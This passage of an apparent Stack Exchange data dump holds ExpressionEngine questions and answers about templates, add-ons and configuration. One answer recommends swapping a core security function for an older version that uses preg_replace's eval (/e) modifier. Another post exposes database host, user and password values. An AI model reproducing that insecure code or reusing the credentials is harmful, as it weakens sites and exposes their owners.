  <row Id="19581" PostTypeId="2" ParentId="19578" CreationDate="2014-02-19T22:23:06.453" Score="2" Body="&lt;p&gt;Brad,&#xA;i've got something similar working on a local site.&#xA;Was able to achieve what you're trying to do using a similiar addon by the same developer GWcode &lt;a href=&quot;http://gwcode.com/add-ons/gwcode-catmenu&quot; rel=&quot;nofollow&quot;&gt;CatMenu&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use my code as a starting point..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;nav id=&quot;menu&quot;&amp;gt;&#xA;{exp:gwcode_catmenu cat_url_title=&quot;{segment_1}&quot; }&#xA;{if no_results}&amp;lt;!-- if no valid category was provided in the URL segment show only root categories as our menu--&amp;gt;&#xA;{exp:channel:categories&#xA;channel=&quot;demo&quot;&#xA;parent_only=&quot;yes&quot;&#xA;disable=&quot;member_data|pagination&quot;&#xA;}&#xA;&amp;lt;a href=&quot;{path='{category_url_title}'}&quot; title=&quot;{category_name}&quot;&amp;gt;&amp;lt;span&amp;gt;{category_name} {if category_name !=&quot;&quot;}&amp;lt;i class=&quot;fa fa-caret-down&quot;&amp;gt;&amp;lt;/i&amp;gt;{/if}&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;{/exp:channel:categories}&#xA;{/if}&#xA;&amp;lt;a href=&quot;{path='{complete_path}'}&quot;{if active} class=&quot;current&quot;{/if} title=&quot;{cat_name}&quot;&amp;gt;{if gw:open} class=&quot;current&quot;{/if} {cat_name} {if has_children} &amp;lt;i class=&quot;fa fa-caret-down&quot;&amp;gt;&amp;lt;/i&amp;gt;{/if}&amp;lt;/a&amp;gt;&#xA;{/exp:gwcode_catmenu}&#xA;&amp;lt;/nav&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="48" LastActivityDate="2014-02-19T22:23:06.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19582" PostTypeId="1" CreationDate="2014-02-19T22:27:56.480" Score="0" ViewCount="346" Body="&lt;p&gt;I'm using ExpressionEngine and have a wygwam field that takes html formatting, including img tags. I was wondering how I could dynamically create a &lt;a href=&quot;http://www.idangero.us/sliders/swiper/&quot; rel=&quot;nofollow&quot;&gt;swiper&lt;/a&gt; based on these images? I was thinking that if the field contains more than one image, it should be turned into a slideshow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could do this with some jQuery, check the text for img tags and edit the markup, then initialize the swiper instance. But could this be done using perhaps embedded templates, or even snippets? Or perhaps there's a plugin out there for this need?&lt;/p&gt;&#xA;" OwnerUserId="2111" LastActivityDate="2015-02-15T14:35:12.390" Title="Dynamically create swiper based on images in wygwam field" Tags="|channel-entries|javascript|embeds|snippets|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19583" PostTypeId="1" AcceptedAnswerId="19604" CreationDate="2014-02-19T22:35:41.487" Score="0" ViewCount="119" Body="&lt;p&gt;I would like to display Solspace calendar dates in a list so the dates display as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;One day event - May 31&lt;/li&gt;&#xA;&lt;li&gt;Multi day event - May 30-31&lt;/li&gt;&#xA;&lt;li&gt;Multi day event with range in 2 months - May 31-Jun 1&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've been unable to get both multi day options to work using the following conditional. For multi day events over 2 months, it still displays May 31-1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if event_multi_day AND {event_start_date format=&quot;%M&quot;} == {event_end_date format=&quot;%M&quot;}}&#xA;{event_start_date format=&quot;%M %j&quot;}-{event_end_date format=&quot;%j&quot;}&#xA;{if:elseif {event_start_date format=&quot;%M&quot;} != {event_end_date format=&quot;%M&quot;}}&#xA;{event_start_date format=&quot;%M %j&quot;}-{event_end_date format=&quot;%M %j&quot;}&#xA;{if:else}&#xA;{event_start_date format=&quot;%M %j&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To narrow down the issue further, if I have an event that occurs May 31 to June 1, and want it to display May 31-Jun 1, I get no result if I use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {event_start_date format=&quot;%M&quot;} != {event_end_date format=&quot;%M&quot;}}&#xA;{event_start_date format=&quot;%M %j&quot;}-{event_end_date format=&quot;%M %j&quot;}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1512" LastEditorUserId="1512" LastEditDate="2014-02-20T05:01:04.910" LastActivityDate="2014-02-20T15:24:10.733" Title="Can't get multi day events to display properly over multiple months" Tags="|solspace-calendar|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19584" PostTypeId="1" CreationDate="2014-02-19T22:53:38.667" Score="1" ViewCount="55" Body="&lt;p&gt;We have a requirement to charge the same price for a product, regardless of the tax. For example a product bought in the UK would be subject to 20% VAT and the price is £100 inclusive of tax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the same product is bought in the US, no VAT is applicable, but the price should still be £100.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Exp:resso Store you can do this by configuring the module to store prices inclusive of tax, and then the tax is calculated in the basket. I can't see a way to do this in CT though - is this possible or would it be a custom development?&lt;/p&gt;&#xA;" OwnerUserId="506" LastActivityDate="2014-02-19T22:53:38.667" Title="Storing prices inclusive of tax in Cartthrob" Tags="|cartthrob|ecommerce|mightybigrobot|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19585" PostTypeId="1" AcceptedAnswerId="19669" CreationDate="2014-02-19T23:16:13.050" Score="0" ViewCount="298" Body="&lt;p&gt;I have a page that shows the Day's events. It currently uses:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{event_first_date}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is great except with repeating events - which continues to show the first date of the event. I reviewed the documentation but did not see an option to display &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{event_current_date}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or something like that. Any clues as to what that would be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2014-02-21T19:10:53.897" Title="Solspace Calendar - How do I show current date of repeating events?" Tags="|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19586" PostTypeId="2" ParentId="17545" CreationDate="2014-02-20T00:16:31.233" Score="1" Body="&lt;p&gt;I ran into a similar problem. Come to find out, it wasn't grid that was the culprit even though it was flagging grid as the error. EE just changed some code and that really effects how some add-ons function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the big issues with using Add-ons is when the developer forgets to use &quot;remove_package_path()&quot; when they are finished with it. Forgetting this not only causes the following fieldtypes to use the same path which is, in turn incorrect, but makes debugging a nightmare.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't had any issues with my DevDemon addons, but others have caused random issues. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you know enough to crawl through the source files, you can correct it yourself until the developer decides to update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could start eliminating them one by one to find out which one is causing the issue.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="3139" LastEditDate="2014-02-20T01:01:11.600" LastActivityDate="2014-02-20T01:01:11.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19587" PostTypeId="2" ParentId="19573" CreationDate="2014-02-20T01:26:09.003" Score="1" Body="&lt;p&gt;You can count how many &lt;code&gt;playa:parents&lt;/code&gt; the city has.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;city&quot; dynamic=&quot;no&quot; orderby=&quot;city_sort_order&quot; sort=&quot;asc&quot;}&#xA;&amp;lt;li class=&quot;location-box colour-{city_colour}&quot;&amp;gt;&#xA;    &amp;lt;a&#xA;    {if '{exp:playa:total_parents field=&quot;property_city&quot;}' == 1}&#xA;        {exp:playa:parents field=&quot;property_city&quot; var_prefix=&quot;property&quot;}href=&quot;/{url_title}/{property:url_title}&quot;{/exp:playa:parents}&#xA;    {if:else}&#xA;        href=&quot;/{url_title}&quot;&#xA;    {/if}&#xA;    &amp;gt;&#xA;        &amp;lt;div class=&quot;location-box colour-{city_colour}&quot;&amp;gt;&#xA;            &amp;lt;figure&amp;gt;&#xA;                &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;                &amp;lt;img src=&quot;{city_main_image}&quot; alt=&quot;&quot;&amp;gt;&#xA;            &amp;lt;/figure&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please, test this code.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2014-02-20T01:40:23.170" LastActivityDate="2014-02-20T01:40:23.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19588" PostTypeId="1" AcceptedAnswerId="19608" CreationDate="2014-02-20T01:29:53.270" Score="0" ViewCount="64" Body="&lt;p&gt;I am developing a directory and have created a channel that holds information such as name and logo etc for a business. In this channel I have used channel forms, although I have no idea how to actually integrate it into my html. Below I have shown some screen shots that show my code and the results im getting. Please help&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6R8ih.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1916" LastEditorUserId="55" LastEditDate="2014-02-20T16:01:41.773" LastActivityDate="2014-02-20T16:01:41.773" Title="Error when calling DevDemon Forms field" Tags="|devdemon-forms|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19589" PostTypeId="2" ParentId="19582" CreationDate="2014-02-20T01:45:05.373" Score="1" Body="&lt;p&gt;You could use another field type for the images in the post. Grid would be one that would work without going to a third-party resource. &lt;a href=&quot;http://devot-ee.com/add-ons/channel-images&quot; rel=&quot;nofollow&quot;&gt;Channel Images&lt;/a&gt; is a solid commercial addon that handles multiple images in an entry really well.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2014-02-20T01:45:05.373" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19590" PostTypeId="1" CreationDate="2014-02-20T02:43:14.797" Score="1" ViewCount="56" Body="&lt;p&gt;Is there a way to turn on Template Debugging even if you are not an administrator?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have lots of pages that need debugging and they can only be accessed by users which are of the member group &quot;Members&quot;?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-02-20T02:43:14.797" Title="Template Debugging for Non-Administrator" Tags="|debugging|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19591" PostTypeId="1" AcceptedAnswerId="20068" CreationDate="2014-02-20T04:04:19.867" Score="1" ViewCount="194" Body="&lt;p&gt;I have an “add file” link in a plain template. When I click it, I get:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Timestamp: 2/18/14, 11:43:40 PM&#xA;Error: TypeError: d is undefined&#xA;Source File: https://preview.mycustomsite.com/index.php?S=e6d26fe1e6d862912992a7dfe770a712aa694471&amp;amp;D=cp&amp;amp;C=javascript&amp;amp;M=combo_load&amp;amp;ui=datepicker,resizable,draggable,droppable&amp;amp;plugin=ee_url_title,tmpl,ee_table,scrollable,scrollable.navigator,ee_filebrowser,ee_fileuploader,markitup,toolbox.expose,overlay&amp;amp;file=underscore,files/publish_fields,json2,cp/publish,cp/publish_tabs,cp/publish_admin&amp;amp;v=1392357549&#xA;Line: 364&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Short of disabling plugins one at a time until it works, has anyone ever had this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: I copied the files and the database to my local environment and it works just fine. It is still broken on the staging server. I diff'ed the javascript and HTML files and the only difference is the v=????? numbers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: its because the EE ajax loader is loading some javascript asynchronously over HTTP, yet the site is loading over HTTPS. Now I need to figure out how to get it to load over HTTPS.&lt;/p&gt;&#xA;" OwnerUserId="2771" LastEditorUserId="2771" LastEditDate="2014-02-26T05:56:54.007" LastActivityDate="2014-03-07T06:29:40.523" Title="Javascript Error in themes/javascript/compressed/jquery/plugins/ee_filebrowser.js" Tags="|javascript|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="19592" PostTypeId="2" ParentId="19534" CreationDate="2014-02-20T04:46:04.570" Score="1" Body="&lt;p&gt;Per the comments - OP was running ExpressionEngine Core edition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Expresso Store requires the full version of ExpressionEngine, as it relies on internal member management features only available in the full version.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-02-20T04:46:04.570" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19593" PostTypeId="2" ParentId="19561" CreationDate="2014-02-20T05:07:02.533" Score="3" Body="&lt;p&gt;There isn't currently an extension hook which is called when an order status is changed (there wasn't in Store 1 either).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it's a pretty obvious requirement so I'll make sure it is included in the next version (coming shortly after EE 2.8).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: &lt;code&gt;store_order_update_status_start&lt;/code&gt; and &lt;code&gt;store_order_update_status_end&lt;/code&gt; hooks are included in Store 2.3.0:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://exp-resso.com/docs/extension_hooks.html#order_status_hooks&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/extension_hooks.html#order_status_hooks&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="150" LastEditDate="2014-03-20T01:04:41.780" LastActivityDate="2014-03-20T01:04:41.780" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19594" PostTypeId="2" ParentId="19546" CreationDate="2014-02-20T07:20:32.893" Score="1" Body="&lt;p&gt;The solution to this, graciously supplied by Solspace, is to use an &lt;code&gt;exp:primary_category&lt;/code&gt; tag inside each select option to check if it's the selected primary category:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;primary_category&quot;&amp;gt;&#xA;        {categories}&#xA;            &amp;lt;option value=&quot;{category_id}&quot; {exp:primary_category entry_id=&quot;{entry_id}&quot;}{if '{category_id}' == '{primary_category_id}'}selected=&quot;selected&quot;{/if}{/exp:primary_category}&amp;gt;&#xA;                {category_name}&#xA;            &amp;lt;/option&amp;gt;&#xA;        {/categories}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hopefully they'll update their docs so this issue doesn't come up again.&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-02-20T07:20:32.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19595" PostTypeId="2" ParentId="18622" CreationDate="2014-02-20T08:07:47.090" Score="2" Body="&lt;p&gt;The problem lies in updating expression engine to the latest version. 2.7.3&#xA;here’s the code i changed in /system/codeigniter/system/core/Security.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current function in 2.7.3&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;public function entity_decode($str, $charset = NULL)&#xA;{&#xA;    if (strpos($str, '&amp;amp;') === FALSE)&#xA;    {&#xA;            return $str;&#xA;    }&#xA;&#xA;    if (empty($charset))&#xA;    {&#xA;            $charset = config_item('charset');&#xA;    }&#xA;&#xA;    do&#xA;    {&#xA;        $matches = $matches1 = 0;&#xA;&#xA;        $str = preg_replace('~(&amp;amp;#x0*[0-9a-f]{2,5});?~iS', '$1;', $str, -1, $matches);&#xA;        $str = preg_replace('~(&amp;amp;#\d{2,4});?~S', '$1;', $str, -1, $matches1);&#xA;        $str = html_entity_decode($str, ENT_COMPAT, $charset);&#xA;    }&#xA;    while ($matches OR $matches1);&#xA;&#xA;    return $str;&#xA;}&#xA;*/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;/*Old function earlier function EE -- This does the trick! -- */&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function entity_decode($str, $charset='UTF-8')&#xA;{&#xA;    if (stristr($str, '&amp;amp;') === FALSE) return $str;&#xA;&#xA;    // The reason we are not using html_entity_decode() by itself is because&#xA;    // while it is not technically correct to leave out the semicolon&#xA;    // at the end of an entity most browsers will still interpret the entity&#xA;    // correctly.  html_entity_decode() does not convert entities without&#xA;    // semicolons, so we are left with our own little solution here. Bummer.&#xA;&#xA;    if (function_exists('html_entity_decode') &amp;amp;&amp;amp; &#xA;        (strtolower($charset) != 'utf-8'))&#xA;    {&#xA;        $str = html_entity_decode($str, ENT_COMPAT, $charset);&#xA;        $str = preg_replace('~&amp;amp;#x(0*[0-9a-f]{2,5})~ei', 'chr(hexdec(&quot;\\1&quot;))', $str);&#xA;        return preg_replace('~&amp;amp;#([0-9]{2,4})~e', 'chr(\\1)', $str);&#xA;    }&#xA;&#xA;    // Numeric Entities&#xA;    $str = preg_replace('~&amp;amp;#x(0*[0-9a-f]{2,5});{0,1}~ei', 'chr(hexdec(&quot;\\1&quot;))', $str);&#xA;    $str = preg_replace('~&amp;amp;#([0-9]{2,4});{0,1}~e', 'chr(\\1)', $str);&#xA;&#xA;    // Literal Entities - Slightly slow so we do another check&#xA;    if (stristr($str, '&amp;amp;') === FALSE)&#xA;    {&#xA;        $str = strtr($str, array_flip(get_html_translation_table(HTML_ENTITIES)));&#xA;    }&#xA;&#xA;    return $str;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2772" LastActivityDate="2014-02-20T08:07:47.090" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19596" PostTypeId="1" CreationDate="2014-02-20T10:01:43.170" Score="2" ViewCount="61" Body="&lt;p&gt;Is possible to use CE Image in the same way of timthumb? for example, this image:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;timthumb.php?src=//mysite.s3.amazonaws.com/WebStatic/Images/Static/109/slide-1.jpg&amp;amp;w=1280 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;can be used with CE Image? something similar to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_img:single src=&quot;//mysite.s3.amazonaws.com/WebStatic/Images/Static/109/slide-1.jpg&quot;}&amp;amp;w=1280 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="2590" LastActivityDate="2014-02-20T16:03:14.887" Title="CE Image query strings params?" Tags="|ce-image|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19598" PostTypeId="1" CreationDate="2014-02-20T11:47:07.477" Score="1" ViewCount="180" Body="&lt;p&gt;I am designing a site just now that has a 'reviews' section and in that section each review can be categorised, e.g. 'Album Review', 'Live Review', 'Press Review' etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The url structure I have is:&lt;/strong&gt;&lt;br&gt;&#xA;www.mysite.com/reviews/album/actual-album-review&lt;br&gt;&#xA;www.mysite.com/reviews/live/actual-live-review&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can get my categories to display in the sidebar and when each one is clicked it filters the reviews to the correct categories but the links to those reviews, when clicked, don't show the actual reviews, just the list of entries again. The reviews are listings of the reviews page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone shed any light on how to get this working? I've been scratching my head for a few hours now!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the latest version of EE, Structure and Freebie - I also have Zoo Triggers but I am having more joy with Freebie so the template code relates to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;large-2 columns&quot;&amp;gt;&#xA;     &amp;lt;h5 class=&quot;show-for-medium-only&quot;&amp;gt;Sub Navigation&amp;lt;/h5&amp;gt;&#xA;     &amp;lt;a href=&quot;{path='reviews'}&quot;&amp;gt;All Reviews&amp;lt;/a&amp;gt;&#xA;     {exp:channel:categories class=&quot;subNav show-for-medium-up&quot;}&#xA;     &amp;lt;a href=&quot;{structure:page:url}{category_url_title}&quot; {if freebie_2 == category_url_title}class=&quot;currentSubNav&quot;{/if}&amp;gt;{category_name}&amp;lt;/a&amp;gt;&#xA;     {/exp:channel:categories}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;large-7 columns&quot;&amp;gt;&#xA;     &amp;lt;div class=&quot;leftCol&quot;&amp;gt;&#xA;     {embed=&quot;includes/breadcrumb&quot;}&#xA;     {exp:channel:entries channel=&quot;reviews_page&quot; limit=&quot;1&quot; disable=&quot;category_fields|member_data|pagination&quot;}&#xA;     &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;     {reviews_page_content}&#xA;     {/exp:channel:entries}&#xA;&#xA;     &amp;lt;!-- If --&amp;gt;&#xA;     {if freebie_1 == &quot;reviews&quot; &amp;amp;&amp;amp; freebie_2 == &quot;&quot;}&#xA;     {exp:channel:entries channel=&quot;single_review&quot; limit=&quot;10&quot; disable=&quot;category_fields|member_data&quot; dynamic=&quot;no&quot;}&#xA;     &amp;lt;div class=&quot;review clearfix&quot;&amp;gt;&#xA;          &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;               &amp;lt;div class=&quot;medium-8 large-8 columns&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;reviewDetails&quot;&amp;gt;&#xA;                         &amp;lt;p class=&quot;main&quot;&amp;gt;{title}&amp;lt;/p&amp;gt;&#xA;                         &amp;lt;p class=&quot;sub&quot;&amp;gt;{review_subject}&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;               &amp;lt;/div&amp;gt;&#xA;               &amp;lt;div class=&quot;medium-4 large-4 columns&quot;&amp;gt;&#xA;                    &amp;lt;a href=&quot;{path='reviews'}/{freebie_2}/{url_title}&quot; class=&quot;siteButton&quot;&amp;gt;Read Review&amp;lt;i class=&quot;fa fa-long-arrow-right&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;               &amp;lt;/div&amp;gt;&#xA;           &amp;lt;/div&amp;gt;     &#xA;     &amp;lt;/div&amp;gt;&#xA;     {/exp:channel:entries}&#xA;     {/if}&#xA;     &amp;lt;!-- If --&amp;gt;&#xA;&#xA;     &amp;lt;!-- If --&amp;gt;&#xA;     {if freebie_1 == &quot;reviews&quot; &amp;amp;&amp;amp; freebie_2 != &quot;&quot;}&#xA;     {exp:channel:entries channel=&quot;single_review&quot; dynamic=&quot;no&quot; limit=&quot;5&quot; category=&quot;{exp:freebie:category_id segment='2'}&quot; parse=&quot;inward&quot;}&#xA;     &amp;lt;div class=&quot;review clearfix&quot;&amp;gt;&#xA;          &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;               &amp;lt;div class=&quot;medium-8 large-8 columns&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;reviewDetails&quot;&amp;gt;&#xA;                         &amp;lt;p class=&quot;main&quot;&amp;gt;{title}&amp;lt;/p&amp;gt;&#xA;                         &amp;lt;p class=&quot;sub&quot;&amp;gt;{review_subject}&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;               &amp;lt;/div&amp;gt;&#xA;               &amp;lt;div class=&quot;medium-4 large-4 columns&quot;&amp;gt;&#xA;                    &amp;lt;a href=&quot;{path='reviews'}/{freebie_2}/{url_title}&quot; class=&quot;siteButton&quot;&amp;gt;Read Review&amp;lt;i class=&quot;fa fa-long-arrow-right&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;               &amp;lt;/div&amp;gt;&#xA;          &amp;lt;/div&amp;gt;     &#xA;     &amp;lt;/div&amp;gt;&#xA;     {/exp:channel:entries}&#xA;     {/if}&#xA;     &amp;lt;!-- If --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2773" LastEditorUserId="28" LastEditDate="2014-05-21T15:55:23.610" LastActivityDate="2019-05-21T12:00:00.480" Title="Link to categorised listing entries using Structure" Tags="|categories|structure|freebie|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19599" PostTypeId="1" CreationDate="2014-02-20T11:50:02.763" Score="0" ViewCount="915" Body="&lt;pre&gt;&lt;code&gt;Parse error: syntax error, unexpected '=' in /var/somepath.../../ee/system/expressionengine/libraries/Functions.php(679) : eval()'d code on line 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get this error if I embed a a template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried exit(0) at all the partitions below ,but it still gives me the same error.I tried exiting at the first line too,but I face the same problem.The code works only when the embed is removed.My php stage is output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{embed=&quot;includes/constants&quot;}&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ini_set('error_reporting', E_ALL |  E_STRICT);&#xA;error_reporting(E_ALL | E_STRICT);&#xA;ini_set('log_errors',TRUE);&#xA;ini_set('display_errors',FALSE);&#xA;ini_set('error_reporting', E_ALL &amp;amp; ~E_NOTICE &amp;amp; ~E_WARNING);&#xA;error_reporting(E_ALL &amp;amp; ~E_NOTICE &amp;amp; ~E_WARNING);&#xA;//True modified date - sent to header&#xA;$last_modified = gmdate('D, d M Y H:i:s T', getlastmod());&#xA;$SERVER_ROOT = '/var/www/projects/tensports/htdocs/tsport/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;header(&quot;Expires: Mon, 26 Jul 1997 05:00:00 GMT&quot;);&#xA;header(&quot;Last-Modified: $last_modified GMT&quot;);&#xA;header(&quot;Cache-Control: no-store, no-cache, must-revalidate&quot;);&#xA;header(&quot;Cache-Control: post-check=0, pre-check=0&quot;, false);&#xA;header(&quot;Pragma: no-cache&quot;);&#xA;&#xA;date_default_timezone_set('Asia/Kolkata');&#xA;define(&quot;BASE_URL&quot;, &quot;http://www.tensports.com/&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//include_once $SERVER_ROOT.'/include/cookie.php';&#xA;include_once $SERVER_ROOT.'/classes/DB.class.php';&#xA;&#xA;&#xA;//for all the constant variables&#xA;$STATIC_URL = 'http://www.tensports.com/';&#xA;$MOB_STATIC_URL = 'http://www.tensports.com/mobile';&#xA;$PRE_LAUNCH_URL = '';&#xA;$COOKIE_DOMAIN_PATH = '.tensports.com';&#xA;$SOURCE_COOKIE_NAME = 'tensports_source';&#xA;$APPLICATION_ROOT = '/var/www/projects/tensports/htdocs/tsport';&#xA;$from_status = array(&quot;Sent&quot;,&quot;Not Accepted&quot;,&quot;From Accepted&quot;,&quot;From Rejected&quot;);&#xA;$to_status = array(&quot;Not Responded&quot;,&quot;To Accepted&quot;,&quot;To Rejected&quot;);&#xA;&#xA;//$DEFAULT_PIC = $CDN_URL.&quot;images/profile-pic-def.jpg&quot;;&#xA;//session_start();&#xA;&#xA;include_once $SERVER_ROOT.'/include/social_plugins.php';&#xA;//------------------------------------------------------------------------------------------------&#xA;include_once $_SERVER['DOCUMENT_ROOT'].'/include/constants.php';&#xA;//include_once $SERVER_ROOT.'/config/country-redirect.php';&#xA;include_once $SERVER_ROOT.'/classes/Main.class.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob_start();&#xA;define(&quot;PAGE_LIMIT&quot;, 10);&#xA;$host = &quot;10.0.202.144&quot;;&#xA;$user = &quot;tensports&quot;; //&quot;stensportsadmin&quot;;&#xA;$pwd  = &quot;fd48a6aac21cfe4555f44e0e68daf805&quot;; //&quot;r7QMB$#ZnCV&amp;amp;mG&quot;;&#xA;$db   = &quot;tensports&quot;; //&quot;staging_tensports_db&quot;;&#xA;$country = &quot;&quot;;&#xA;$mysql = new DB();//DB Class&#xA;&#xA;try{&#xA;&#xA;    $mysql-&amp;gt;Connect($host, $user, $pwd, $db);&#xA;}catch( Exception $e){&#xA;    print($e);&#xA;}&#xA;&#xA;error_log($mysql-&amp;gt;Connect($host, $user, $pwd, $db));&#xA;$main = new Main($mysql);//Main class&#xA;$currDate       =   date('Y-m-d');&#xA;$currDateTime   =   date('Y-m-d H:i:s');&#xA;$currTime       =   date('g:i A');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" 